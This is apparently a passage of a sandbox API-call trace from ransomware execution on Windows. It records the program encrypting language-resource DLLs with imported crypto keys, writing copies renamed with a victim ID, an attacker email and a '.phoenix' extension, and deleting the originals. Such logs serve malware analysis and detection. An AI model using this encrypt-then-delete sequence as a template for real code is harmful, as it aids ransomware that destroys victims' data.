	[0062.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.951] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.951] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.953] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa448) returned 1
	[0062.953] CryptSetKeyParam (hKey=0xbaa448, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.953] ReadFile (in: hFile=0x334, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4758, lpOverlapped=0x0) returned 1
	[0062.966] CryptEncrypt (in: hKey=0xbaa448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760, dwBufLen=0x4760 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760) returned 1
	[0062.966] WriteFile (in: hFile=0x328, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4760, lpOverlapped=0x0) returned 1
	[0062.968] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa808) returned 1
	[0062.968] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.968] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0062.968] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0062.968] WriteFile (in: hFile=0x328, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0062.968] CryptDestroyKey (hKey=0xbaa448) returned 1
	[0062.968] CloseHandle (hObject=0x334) returned 1
	[0062.968] CloseHandle (hObject=0x328) returned 1
	[0062.972] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1
	[0062.973] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0062.973] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.974] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18776) returned 1
	[0062.974] CloseHandle (hObject=0x328) returned 1
	[0062.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80
	[0062.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.974] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.974] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.974] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.974] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.978] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa3c8) returned 1
	[0062.978] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.978] ReadFile (in: hFile=0x328, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4958, lpOverlapped=0x0) returned 1
	[0062.983] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960, dwBufLen=0x4960 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960) returned 1
	[0062.983] WriteFile (in: hFile=0x334, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4960, lpOverlapped=0x0) returned 1
	[0062.987] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa288) returned 1
	[0062.987] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.987] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0062.987] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0062.988] WriteFile (in: hFile=0x334, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0062.988] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0062.988] CloseHandle (hObject=0x328) returned 1
	[0062.988] CloseHandle (hObject=0x334) returned 1
	[0063.251] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1
	[0063.252] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.252] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.252] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=19288) returned 1
	[0063.252] CloseHandle (hObject=0x334) returned 1
	[0063.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80
	[0063.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.255] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.255] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.255] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.255] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.257] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa588) returned 1
	[0063.257] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.257] ReadFile (in: hFile=0x334, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4b58, lpOverlapped=0x0) returned 1
	[0063.265] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4b60) returned 1
	[0063.265] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4b60, lpOverlapped=0x0) returned 1
	[0063.266] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa6c8) returned 1
	[0063.266] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.266] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0063.266] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.267] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0063.267] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0063.267] CloseHandle (hObject=0x334) returned 1
	[0063.267] CloseHandle (hObject=0x338) returned 1
	[0063.272] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1
	[0063.273] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.273] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.274] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18264) returned 1
	[0063.274] CloseHandle (hObject=0x338) returned 1
	[0063.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80
	[0063.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.274] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.274] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.274] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.274] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.285] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa908) returned 1
	[0063.285] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.285] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4758, lpOverlapped=0x0) returned 1
	[0063.289] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760, dwBufLen=0x4760 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760) returned 1
	[0063.289] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4760, lpOverlapped=0x0) returned 1
	[0063.291] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa288) returned 1
	[0063.291] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.291] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0063.291] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0063.291] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0063.291] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0063.291] CloseHandle (hObject=0x338) returned 1
	[0063.291] CloseHandle (hObject=0x330) returned 1
	[0063.294] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1
	[0063.295] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.295] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.295] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18776) returned 1
	[0063.295] CloseHandle (hObject=0x330) returned 1
	[0063.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80
	[0063.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.296] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.296] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.296] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.296] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.309] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa748) returned 1
	[0063.309] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.309] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4958, lpOverlapped=0x0) returned 1
	[0063.316] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960, dwBufLen=0x4960 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960) returned 1
	[0063.316] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4960, lpOverlapped=0x0) returned 1
	[0063.317] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa8c8) returned 1
	[0063.317] CryptSetKeyParam (hKey=0xbaa8c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.317] CryptEncrypt (in: hKey=0xbaa8c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0063.317] CryptDestroyKey (hKey=0xbaa8c8) returned 1
	[0063.317] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0063.317] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0063.317] CloseHandle (hObject=0x330) returned 1
	[0063.317] CloseHandle (hObject=0x338) returned 1
	[0063.319] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1
	[0063.320] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.320] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.320] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18776) returned 1
	[0063.321] CloseHandle (hObject=0x338) returned 1
	[0063.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80
	[0063.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.321] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.321] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0063.323] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa288) returned 1
	[0063.323] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.323] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4958, lpOverlapped=0x0) returned 1
	[0063.726] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960, dwBufLen=0x4960 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4960) returned 1
	[0063.726] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4960, lpOverlapped=0x0) returned 1
	[0063.727] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa2c8) returned 1
	[0063.727] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.727] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0063.727] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0063.727] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0063.727] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0063.727] CloseHandle (hObject=0x338) returned 1
	[0063.727] CloseHandle (hObject=0x330) returned 1
	[0063.736] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1
	[0063.849] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.850] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.850] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=15704) returned 1
	[0063.850] CloseHandle (hObject=0x334) returned 1
